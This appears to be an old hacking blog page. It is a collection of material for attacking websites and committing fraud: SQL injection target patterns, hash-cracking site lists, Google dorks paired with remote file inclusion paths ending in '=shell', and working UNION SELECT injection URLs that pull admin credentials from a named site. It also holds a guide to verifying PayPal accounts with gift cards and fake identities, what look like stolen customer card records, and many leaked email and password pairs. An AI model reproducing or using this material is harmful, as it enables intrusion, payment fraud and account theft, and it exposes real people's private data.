After School Activities: hacking tutorial

Showing posts with label hacking tutorial. Show all posts

Sunday, August 16, 2009

md5 hash online decryptor and sql bugs

product.do?product_id=
product_details.php?product_id=
view_detail.php?product_id=
details.php?product_id=
/catalogue-details.php?product_id=
Itemid=
cPath=
/product_list.php?cat_id=
products.php?cat_id=
/index.php?cat_id=
view.php?cat_id=
shop_display_products.php?cat_id=
prod_view.php?cat_id=6
order.php?cat_id=
/showCat.php?cat_id=
category.php?cat_id=
items_list.php?cat_id=
cat_products.php?cat_id=
cat_view.php?cat_id=
Store/index.php?cat_id=
/shop_display_products.php?cat_id=
products.htm?cid=
category.htm?cid=
products_list.php?cid=
product.php?category_id=1&subcategory_id=
product_desc.php?id=
/products_list.php?section_id=
viewalbum.php?category_id=
subcategory.php?subcategory_id=
/class/ajax.php?id=
category_id='95&parent_id=
gallery_id=
show_product.php?product_id=
&page_id=
shop.htm?cid=
Categories.htm?CID=
/siteshopper.htm?cid=57
Shop_Til_You_Drop.htm?CID=
products/prod_index.htm?cid=
index.htm?CID=
products.htm?cid=
Products.php?ProductTypeID=
Products.php?DesignerID=
products.php?catID=
/auctiondetails.php?id=
show_product.php?product_id=
product_info.html?product_id=
catid=
/document.php?id_document=
product_detail.php?cid=9&pid=

http://www.kieta.info/

http://www.kieta.info/md5-encoder.php

http://www.md5lookup.com/

http://www.md5.rednoize.com

http://www.nz.md5.crysm.net

http://www.us.md5.crysm.net

http://www.xmd5.org

http://www.gdataonline.com

http://www.hashchecker.com

http://www.passcracking.ru

http://www.milw0rm.com/md5

http://www.plain-text.info

http://www.securitystats.com/tools/hashcrack.php

http://www.schwett.com/md5/

http://www.passcrack.spb.ru/

http://www.shm.pl/md5/

http://www.und0it.com/

http://www.neeao.com/md5/

http://www.md5.benramsey.com/

http://www.md5decrypt.com/

http://www.md5.khrone.pl/

http://www.csthis.com/md5/index.php

http://www.securitystats.com/tools/hashcrack.php

http://www.md5decrypter.com/

http://www.md5encryption.com/

http://www.md5database.net/

http://www.md5.xpzone.de/

http://www.milw0rm.com/md5/info.php

http://www.md5.geeks.li/

http://www.hashreverse.com/

http://www.cmd5.com/english.aspx

http://www.md5.altervista.org/

http://www.md5.overclock.ch/biz/index.php?p=md5crack&l=en

http://www.alimamed.pp.ru/md5/

http://www.md5crack.it-helpnet.de/index.php?op=add

http://www.cijfer.hua.fi/

http://www.shm.hard-core.pl/md5/

http://www.mmkey.com/md5/HOME.ASP

http://www.thepanicroom.org/index.php?view=cracker

http://www.rainbowtables.net/services/results.php

http://www.rainbowcrack.com/

http://www.securitydb.org/cracker/

http://www.passwordsecuritycenter.com/in...roducts_ id=7

http://www.0ptix.co.nr/md5

https://www.astalavista.net/?cmd=rainbowtables

/

http://www.md5this.com

http://www.shalookup.com/

http://www.md5lookup.com/?category=main&page=search
http://www.md5crack.it-helpnet.de/index.php?op=entries
http://www.sarcaprj.wayreth.eu.org/index.php
http://www.rootsecure.net/crypttmt
http://www.securitystats.com/tools/hashcrack.php
http://www.milw0rm.com/md5
http://www.lasecwww.epfl.ch/~oechslin/projects/ophcrack
http://www.rainbowcrack-online.com
http://www.md5.rednoize.com
http://www.plain-text.info
http://www.passcracking.com
http://www.gdataonline.com/seekhash.php
http://www.hashchecker.com
http://www.gdataonline.com/seekhash.php
http://www.anonym.to/?http://md5.rednoize.com
http://www.ice.breaker.free.fr
http://www.us.md5.crysm.net
http://www.md5.shalla.de
http://www.nz.md5.crysm.net
http://www.shm.hard-core.pl/md5
http://www.hashchecker.com
http://www.lasecwww.epfl.ch/%7Eo...jects/ophcrack
http://www.md5.benramsey.com
http://www.md5.altervista.org
http://www.shm.hard-core.pl
http://www.passcracking.ru
http://www.securitystats.com/tools/hashcrack.php
http://www.schwett.com/md5
http://www.ds.nfshost.com/MD5calc
http://www.xeons.net/genesis
http://passcrack.spb.ru/index.php?name=CrackMD5
http://www.und0it.com
http://www.milw0rm.com
http://www.rainbowcrack-online.com
http://www.anonym.to/
http://www.md5lookup.com/?category=main&page=search
http://www.md5.rednoize.com
http://www.md5.benramsey.com/
http://www.md5.altervista.org
http://www.hashchecker.com
http://www.passcracking.ru
http://www.plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://www.passcrack.spb.ru/index.php?name=CrackMD5
http://www.schwett.com/md5
http://www.securitystats.com/tools/hashcrack.php
http://www.gdataonline.com/seekhash.php
http://md5.overclock.ch
http://www.astalavista.net/v2/?cmd=r...bles&adID=6067
http://ice.breaker.free.fr/
http://alimamed.pp.ru/md5/?md5e=&md5d=password
http://cijfer.hua.fi/
http://md5crack.it-helpnet.de
http://xmd5.org
http://us.md5.crysm.net
http://nz.md5.crysm.net
http://darkdevelopments.com
http://md5.benramsey.com/
http://www.und0it.com
http://www.passcracking.com/
http://md5cracker.de/
http://md5cr4ck.dl.am/

13471

http://1nj3ct.in/md5/ good

https://www.press-pay.com/~presspa/admins

--------------
http://ecigarettes.cn/payment_methods.html

results.php?Cat_ID=
cat.php?CatID=
products.php?cid=
orderid=
maincatid=
profile.php?user_id=
product_details.php?id=
/details.php?id=
?page=page&id=

/cats.php?cat=
/DetailFile.php?nFileId=
view_product.php?product=

Tuesday, June 23, 2009

to verify ur paypal

Step 1::

You must a get GiftCard from your nearby Stores

(In India, you wont find any ... you can order one through your friends and relatives in US or NZ or other country.
And wht you need is just the numbers of GiftCard like CC no, Cvv2, exp date that you can take on call / mail also )

This Gift Card mostly cost of $5 and u will have to load some funds upto $25 as it is compulsary !!

This $25 is usable ... so the GiftCard will cost you only for $5 wink.gif

Gift Cards are mostly of MasterCards & VisaCards !! thats the interesting part of it !!

Example ::

Like iN Nz

_http://www.nzpost.co.nz/Cultures/en-NZ/Personal/prezzycard

link:http://cardingpower.top-site-list.com/cardingpower-thread148.html

contain

=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ =~=~=~=~=~

Setp 2::

Register your Visa Card Online with any fake identity ... finding from Whitepages.com

Example ::

Prezzy Card :: _https://www.mybalance.co.nz/

=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ =~=~=~=~=~

Step 3 ::

Create a Account on Paypal by using Proxy of that Country with the Same fake identity
You used to register that GiftCard Online.

And Once Account Is Created Just Add Your GiftCard Number to Verify the Paypal.com Account

Once You Added the GIFTCARD , Paypal will charge some $2 fee

And will Ask you to Enter the 4 Digit Code on transaction to Verify your Account

=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ =~=~=~=~=~

Step 4 ::

For Checking the CODE given to you by Paypal on your GiftCard

goto that GiftCard site for checking the Transaction made !!

Example ::

Prezzy Card :: _ _https://www.mybalance.co.nz

You will Find the Code on the Paypal Transaction

Example ::

5-04-2007 3579-Paypal.com xxxxx353 $2 NZ

Just Copy & Paste the Code of 4 Digit on the Paypal.com to Verify your Account

And its all done smile.gif

==============
BILL TO SHIP TO

PAYMENT INFO
Team Sharp Racing
Craig Sharp
Private Bag MBE N330
Auckland 1030
New Zealand

csharp@ihug.co.nz
+64 9 524 9231
+64 9 520 0950 (FAX)
Team Sharp Racing
Craig Sharp
Private Bag MBE N330
Auckland 1030
New Zealand

Weight: 0.0 LBS

Method: Credit Card
Credit Card Type: American

Express
Credit Card Number:

377420032356003 9712
Cardholder Name: Craig Sharp
Credit Card Exp. Date: 02/09

-----------
BILL TO SHIP TO

PAYMENT INFO
Miles McVicar
7 Belmont Place
Gore 9710
New Zealand

linda.miles@xtra.co.nz
03 208 9196
Laurie Miller
1266 Oakglen Ave
Arcadia CA CA 91006

Weight: 0.0 LBS

Method: Credit Card
Credit Card Type: Visa
Credit Card Number:

4999770009351506 025
Cardholder Name: M S MCVICAR
Credit Card Exp. Date: 07/09
-----------

online hash cracker links

sha1:
http://passcrack.spb.ru/
http://www.hashreverse.com/
http://rainbowcrack.com/
http://www.md5encryption.com/
http://www.shalookup.com/
http://md5.rednoize.com/
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.tmto.org/

md5:
http://74.52.200.226/~b4ck/passhash/index.php
http://www.tmto.org/ (formerly md5lookup.com)
http://md5.rednoize.com (good with words)
http://nz.md5.crysm.net (English dictionary, nearly all one to four character alphanumeric. 27.8m records.) - seems to be down atm
http://us.md5.crysm.net (British, Jargon and American worldlist, IP addresses 16.0m records)
http://www.xmd5.org (good with numbers)
http://gdataonline.com (wordlist based, I think)
http://www.hashchecker.com (It seems to say its good, but I've never gotten many hits form here)
http://passcracking.ru
http://www.milw0rm.com/md5
http://plain-text.info (this one is quite good and generally returns results, but you have to submit things to be cracked, its not just an online database)
http://www.securitystats.com/tools/hashcrack.php (does various, including LM NTLM and SHA-1, but seems to return no results on anything than the most basic, so rather useless)
http://www.schwett.com/md5/ - Does Norwegian words too
http://passcrack.spb.ru/
http://gdataonline.com/seekhash.php
http://shm.pl/md5/
http://www.und0it.com/
http://www.neeao.com/md5/
http://md5.benramsey.com/
http://www.md5decrypt.com/
http://md5.khrone.pl/
http://www.csthis.com/md5/index.php
http://www.md5decrypter.com/
http://www.md5encryption.com/
http://www.md5database.net/
http://md5.xpzone.de/
http://md5.geeks.li/
http://www.hashreverse.com/
http://www.cmd5.com/english.aspx
http://www.md5.altervista.org/
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en
http://alimamed.pp.ru/md5/ (for those who can't read russian: put your md5 in the second box)
http://md5crack.it-helpnet.de/index.php?op=add (German, I have no idea....)
http://cijfer.hua.fi/ (Projects->md5 reverse lookup)
http://shm.hard-core.pl/md5/
http://www.mmkey.com/md5/HOME.ASP
http://www.thepanicroom.org/index.php?view=cracker
http://rainbowtables.net/services/results.php (I'm not sure i'd trust this site to give more than a tiny amount of results)
http://rainbowcrack.com/ (requires people to contribute rainbowtables to be able to query them, and continue contributing them constantly)
http://www.securitydb.org/cracker/
http://passwordsecuritycenter.com/in...roducts_ id=7 (This is meant to be used as proof that they can actually reverse passwords to convince you to buy their stuff, but as long as they decrypt it it doesn't matter why, right?)
http://0ptix.co.nr/md5
https://www.astalavista.net/?cmd=rainbowtables
http://ice.breaker.free.fr/
http://www.md5this.com
http://www.pldsecurity.de/forum/md5.php
http://www.xeons.net/genesis/
http://hackerscity.free.fr/
http://bisix.cogia.net/
http://md5.allfact.info/
http://bokehman.com/cracker/
http://www.tydal.nu/article/md5-crack/
http://ivdb.org/search/md5/
http://md5.netsons.org/
http://md5.c.la/ (The form at the bottom left of the page)
http://www.jock-security.com/md5_database/?page=crack
http://c4p-sl0ck.dyndns.org/cracker.php
http://www.blackfiresecurity.com/tools/md5lib.php (Queries the MD5 Library AIM Bot)
http://www.md5-db.com/index.php

lm Only:
http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/ (Currently Offline)
http://www.milw0rm.com/lm (Currently Offline)

lm + ntlm:
http://plain-text.info
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/
http://passwordsecuritycenter.com/in...roducts_ id=7
https://www.astalavista.net/?cmd=rainbowtables

md4:
http://www.securitystats.com/tools/hashcrack.php
http://rainbowtables.net/services/results.php
http://rainbowcrack.com/

Enjoy All!

are looking for free shell?

click readmore

look for shell

/surveys/survey.inc.php?path=
inurl:surveys

index.php?body=
inurl:"index.php?body="

/classes/adodbt/sql.php?classes_dir=
allinurl:adobt site:pl

enc/content.php?Home_Path=
"powered by doodle cart"

/classified_right.php?language_dir=
inurl:classified.php

/sources/functions.php?CONFIG[main_path]=
"(Powered By ScozNews)"

/sources/template.php?CONFIG[main_path]=
"(Powered By ScozNews)"

/embed/day.php?path=
intitle:"Login to Calendar"

/includes/dbal.php?eqdkp_root_path=
"powered by EQdkp"

/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=
"Powered By Aardvark Topsites PHP 4.2.2"

/includes/kb_constants.php?module_root_path=
"Powered by Knowledge Base"

/mcf.php?content=
allinurl:"mcf.php" site:.de

/components/com_facileforms/facileforms.frame.php?ff_compath=
allinurl:"com_facileforms" site:.ar

skins/advanced/advanced1.php?pluginpath[0]=
"Sabdrimer CMS"

/zipndownload.php?PP_PATH=
"Powered by: PhotoPost PHP 4.6"

/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=
inurl:"com_serverstat"

/components/com_zoom/includes/database.php?mosConfig_absolute_path=
inurl:"index.php?option="com_zoom"

/main.php?sayfa=
inurl:"main.php?sayfa="

/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= allinurl:com_extended_registration

/addpost_newpoll.php?addpoll=preview&thispath=
allinurl:"/ubbthreads/"

/header.php?abspath=
"MobilePublisherPHP"

components/com_performs/performs.php?mosConfig_absolute_path=
inurl:"com_performs"

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
inurl:index.php?option=com_remository

impex/ImpExData.php?systempath=
intext:powered by vbulletin

/modules/vwar/admin/admin.php?vwar_root=
allinurl:vwar site:.com

/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
"powered by phpCOIN 1.2.3"

administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
inurl:.com/index.php?option=com_remository

/tools/send_reminders.php?includedir=
allinurl:day.php?date=

/skin/zero_vote/error.php?dir=
google:skin/zero_vote/error.php

/modules/TotalCalendar/about.php?inc_dir=
allinurl:/TotalCalendar

/login.php?dir=
allinurl:login.php?dir=

/tags.php?BBCodeFile=
intitle:"Tagger LE" inurl:tags.php

index.php?pageurl=
inurl:"index.php?pageurl=*.php"

/templates/headline_temp.php?nst_inc=
allintitle:fusion:news:management:system

templates/headline_temp.php?nst_inc=
inurl:"index.php?id=plugins"

index.php?var=
inurl:"index.php?var=*.php"

index.php?pagina=
inurl:"index.php?pagina=*.php"

index.php?go=
inurl:"index.php?go="

index.php?site=
inurl:"index.php?site="

phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=
inurl:"phpwcms/index.php?id="

administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=
inurl:".com.*/index.php?option=com_comprofiler"

index.php?pagina=
inurl:"index.php?pagina=*.php"

index.php?id=
inurl:"index.php?id=*.php"

index1.php?=
inurl:"index1.php?=*.php?

index.php?site=
inurl:"index.php?site=*.php"

main.php?id=
inurl:"main.php?id=*.php"

content.php?page=
inurl:"content.php?page=*.php"

admin.php?page=
inurl:"admin.php?page=*.php"

lib/gore.php?libpath=
inurl:"/SQuery/"

SQuery/lib/gore.php?libpath=
inurl:"/SQuery/"

index2.php?p=
inurl:"index2.php?p=*.php"

index1.php?go=
inurl:"index1.php?go=*.php"

news_detail.php?file=
inurl:"news_detail.php?file=*.php"

old_reports.php?file=
inurl:"old_reports.php?file=*.php"

index.php?x=
inurl:"index.php?x=*.php"

index.php?nic=
inurl:"index.php?nic=*.php"

homepage.php?sel=
inurl:"homepage.php?sel=*.php"

index.php?sel=
inurl:"index.php?sel=*.php"

main.php?x=
inurl:"main.php?x=*.php"

components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=
"inurl:com_artlinks"

index2.php?x=
inurl:index2.php?x=*.php"

main.php?pagina=
inurl:"main.php?pagina=*.php"

test.php?page=
allinurl:test.php?page=

akocomments.php?mosConfig_absolute_path=
inurl:akocomments.php

index.php?page=
inurl:"edu/index.php?page=*.php"

*.php?page=
inurl:*.php?page=*.php"

index.php?oldal=
inurl:"index.php?oldal=*.php"

index.php?lang=gr&file
inurl:"index.php?lang=gr&file=*.php"

index.php?pag=
inurl:"index.php?pag=*.php"

index.php?incl=
inurl:"index.php?incl="

avatar.php?page=
inurl:"avatar.php?page="

index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=
"Mambo is A Free"

index.php?p=
inurl:"edu/index.php?p=*.php"

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
allinurl:/xgallery/

index.php?mode=
inurl:"com/index.php?mode=*.php"

index.php?stranica=
inurl:"index.php?stranica="

index.php?sub=
inurl:"il/index.php?sub=*.php"

index.php?id=
inurl:"/index.php?id=*.php"

index.php?t=
inurl:"/index.php?t=*.php"

index.php?r=
inurl:"index.php?r=*.php"

index.php?menu=
inurl:"net/index.php?menu=*.php"

index.php?pag=
inurl:"com/index.php?pag=*.php"

port.php?content=
inurl:port.php?content=*.php"

index0.php?show=
inurl:index0.php?show=*.php"

/tools/send_reminders.php?includedir=
allinurl:day.php?date=
inurl:/day.php?date=

/tags.php?BBCodeFile=
intitle:"Tagger LE" inurl:tags.php site:br

index.php?topic=
inurl:"/index.php?topic=*.php"

index.php?u=
inurl:"/index.php?u=*.php"

administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=
inurl:".tr./components"

index.php?loc=
allinurl:.br/index.php?loc=

/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=
allinurl:"com_uhp"

/tags.php?BBCodeFile=
intitle:"Tagger LE"
inurl:"uk/tags.php

page.php?doc=
allinurl:"page.php?doc="

administrator/components/com_webring/admin.webring.docs.php?component_dir=
inurl:"com_webring"

administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=
inurl:".de.*/com_mgm"

help.php?css_path=
inurl:phplive site:.ru

/class.mysql.php?path_to_bt_dir=
"powered by paBugs 2.0 Beta 3"

/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
"powered by AllMyLinks"

/include/write.php?dir=
allinurl:/zboard/zboard.php

principal.php?conteudo=
inurl:"principal.php?conteudo="

contenido.php?sec=
inurl:"contenido.php?sec="

noticias.php?arq=
inurl:"noticias.php?arq="

htmltonuke.php?filnavn=
inurl:"htmltonuke.php?filnavn="

video.php?content=
inurl:"video.php?content="

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
allinurl:/xoopsgallery/

/modules/agendax/addevent.inc.php?agendax_path=
allinurl:/agendax/

/classes.php?LOCAL_PATH=
"powered by siteframe"

al_initialize.php?alpath=
"Powered by AutoLinks Pro"

/extensions/moblog/moblog_lib.php?basedir=
"powered by pivot"

/jscript.php?my_ms[root]=
intitle:"myspeach" inurl:"chat_exemple.php"

/popup_window.php?site_isp_root=
inurl:"Squirrelcart"

inurl:"com_peoplebook"
administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=

allinurl:catalog_login.php
include/db_config.php?_config[site_path]=

allinurl:AshNews
/ashnews.php?pathtoashnews=

inurl:page.php?xPage=
routines/fieldValidation.php?jssShopFileSystem=

are looking for free shell?

remote file inclusion sample

components/com_flyspray/startdown.php?file=shell

components/com_flyspray/startdown.php?file=shell

Google Dork:

inurl:"com_admin"

Site Sonuna:

administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell

Google Dork:

inurl:index.php?option=com_simpleboard

Site Sonuna:

/components/com_simpleboard/file_upload.php?sbp=shell

Google Dork:
inurl:"com_hashcash"

Site Sonuna:

/components/com_hashcash/server.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_htmlarea3_xtd-c"

Code:

/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_sitemap"

Code:

/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_performs"

Site Sonuna:
components/com_performs/performs.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_forum"

Site Sonuna:
/components/com_forum/download.php?phpbb_root_path=

Google Dork:
inurl:"com_pccookbook"

Site Sonuna:

components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell

Google Dork:
inurl:index.php?option=com_extcalendar

Site Sonuna:

/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"minibb"

Site Sonuna:
components/minibb/index.php?absolute_path=shell

Google Dork:
inurl:"com_smf"

Site Sonuna:
/components/com_smf/smf.php?mosConfig_absolute_path=
Site Sonuna2:
/modules/mod_calendar.php?absolute_path=shell

Google Dork:
inurl:"com_pollxt"

Site Sonuna:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_loudmounth"

Site Sonuna:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_videodb"

Site Sonuna:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shell

Google Dork:
inurl:index.php?option=com_pcchess

Site Sonuna:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_multibanners"

Site Sonuna:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_a6mambohelpdesk"

Site Sonuna:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shell

Google Dork:
inurl:"com_colophon"

Site Sonuna:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_mgm"

Site Sonuna:
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_mambatstaff"

Site Sonuna:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_securityimages"

Site Sonuna:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell

Site Sonuna2:
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_artlinks"

Site Sonuna:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_galleria"

Site Sonuna:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_akocomment"

Site Sonuna:
/akocomments.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_cropimage"

Site Sonuna:
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell

Google Dork:
inurl:"com_kochsuite"

Site Sonuna:
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_comprofiler"

Site Sonuna:
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_zoom"

Site Sonuna:
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell
Site Sonuna2:
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_serverstat"

Site Sonuna:
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=shell

Google Dork:
inurl:"com_fm"

Site Sonuna:
components/com_fm/fm.install.php?lm_absolute_path=shell

Google Dork:
inurl:com_mambelfish

Site Sonuna:
administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_lmo

Site Sonuna:
components/com_lmo/lmo.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_linkdirectory

Site Sonuna:
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell

Google Dork:
inurl:com_mtree

Site Sonuna:
components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_jim

Site Sonuna:
administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_webring

Site Sonuna:
administrator/components/com_webring/admin.webring.docs.php?component_dir=shell

Google Dork:
inurl:com_remository

Site Sonuna:
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=

Google Dork:
inurl:com_babackup

Site Sonuna:
administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_lurm_constructor

Site Sonuna:
administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell

Google Dork:
inurl:com_mambowiki

Site Sonuna:
components/com_mambowiki/ MamboLogin.php?IP=shell

Google Dork:
inurl:com_a6mambocredits

Site Sonuna:
administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell

Google Dork:
inurl:com_phpshop

Site Sonuna:
administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_cpg

Site Sonuna:
components/com_cpg/cpg.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_moodle

Site Sonuna:
components/com_moodle/moodle.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_extended_registration

Site Sonuna:
components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_mospray

Site Sonuna:
components/com_mospray/scripts/admin.php?basedir=shell

Google Dork:
inurl:com_bayesiannaivefilter

Site Sonuna:
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_uhp

Site Sonuna:
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_peoplebook

Site Sonuna:
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_mmp

Site Sonuna:
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_reporter

Site Sonuna:
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_madeira

Site Sonuna:
/components/com_madeira/img.php?url=shell

Google Dork:
inurl:com_jd-wiki

Site Sonuna:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell

Google Dork:
inurl:com_bsq_sitestats

Site Sonuna:
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
Site Sonuna2:
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell

---------
http://www.maxhack.us/
http://ircrash.com

free verified and unferify paypal account and password

07120712 :sberisso21@hotmail.com
02051986 :feverrital@hotmail.com
batman88:annan8@streamyx.com
diplom88:ulf.jussing@telia.com
sexsex00 :mastro_limone@yahoo.it
viper123:iftox@poczta.onet.pl
shampoo7 :sphou7@yahoo.com
16101981 :vladimirtrofimov@list.ru
afterdark:bartafterdark@hotmail.com
c3por2d2 :jomallor@hotmail.com
mustanga :gprediger@aol.com

http://www.icall.com/
https://www.truphone.com/pricing/
www.rebtel.com
http://www.pennytalk.com/ + skype
http://www.vpnaccounts.com/subscribe.html
http://www.jetnumbers.com/ + yang pree u amerika foward u indo
mediaringtalk.com
http://www.pc-telephone.com/calling-card.shtm
http://talkmember.mediaringtalk.com/mytalk/index.php
http://www.smartglobalcall.net/

[10296] 56174493:cls@finewebs.net:--v email sm
[10284] voodoo72:voodoo72@gmail.com: --v limit
[10271]
[10265] 13urey111:burey@live.com: --v email
[10218]
[10149] kyuss666:buteux@hotmail.co.uk: --v email
[0] leepeng@forecepts.com:eddy6363: --v
gurei alya: nyan

http://www.paypal.com/us/cgi-bin/webscr?cmd=_login-processing&login_cmd=_login-done

http://www.youtube.com/watch?v=B_XM19Cizng&NR=1

https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f998ca054efbdf2c29878a435fe324eec8ea269f5b79ff8ce
https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f998ca054efbdf2c29878a435fe324eec8ea269f5b79ff8ce

https://www.paypal.com/id/cgi-bin/webscr?cmd=_login-done

http://www.listwhateverforfree.com/shop/classified/store_info.php?id=59+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,@@version,18,19,20,21,22,23--

http://www.listwhateverforfree.com/shop/classified/store_info.php?id=59+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(admin_name,0x3e,pwd),18,19,20,21,22,23+from+freetplclassified_admin--
http://www.listwhateverforfree.com/shop/classified/admin

admin
sampson1233326

http://www.mydnafragrance.com/perfume/
http://www.mydnafragrance.com/shop/
http://www.mydnafragrance.com/shop/admin.php
rapbrain
VZOlwvoChPiso

admin@mydnafragrance.com
sampson1233326

===========
smtp

smtp host mail.mydnafragrance.com
uerna,e customersupport@mydnafragrance.com
sampson1233326

/usr/sbin/sendmail
====================
PP
diva@mydnafragrance.com
divastyle@filmfestivalacademy.org
divastyle@mydnafragrance.com
thankyou@filmfestivalacademy.org Primary
info@divastyle.org
diva@mydnafragrance.com
sampson1233326

nofear15 :ctaminian@hotmail.com
allah786:jiten.setia@gmail.com unverified

stingray:cwknox@live.co.uk unverified expire cc
andrea59 :michael.kuelzer@uni-rostock.de
serch1979 :sergioferrufino@hotmail.com
partition:franke_philipp@yahoo.com
booger22:joryboy22@gmail.com unver
toonstruck :agent_x64@msn.com

benjamin:wayhey@gmail.com
billycat :kingofning@hotmail.co.uk
schokolade :tegecold@gmail.com
6stephond :tim_davis@me.com
khanh2005 :phankhanh1980@yahoo.com
nokia321 :paulvanderwolk@hotmail.com no cc
13021990 :f-immken@gmx.de no cc
19811981 :ekosnow@yahoo.com no cc
sedo1983 :sedino83@hotmail.de no cc
chrystelle :l.charlot@free.fr
playlife :sara_aldi@email.it very
money007 :macgadger@gmail.com
66789639 :mariuszs@t-online.de good
iloveyou :talsur2002@yahoo.com
hardcore :chopp3r@djcala.net
fatbob1976 :fat.bobby@hotmail.co.uk
24743448 :andrewduckett@btinternet.com
motherteresa78@gmail.com: lightning -v
amasabaird@hotmail.com: seven777 --un
jlmancine@hotmail.com : shulien1

kermath@gmail.com: yourmama
faust.tarwater@gmail.com: the91outsider
rcfergi@ymail.com: courtney1
mleer2001@yahoo.com: melvin09
rcfergi@yahoo.com: Courtney5
runningbackwards@hotmail.com: employed
spicoli03@yahoo.com: onthebus
kevin.mccarvel@gmail.com: incendia
trixon65@googlemail.com: deborah64
jrwoosley@gmail.com: nastassia23
==============
powerfull :J4m1Ro@gmail.com
microsoft :ldtan@hotmail.com
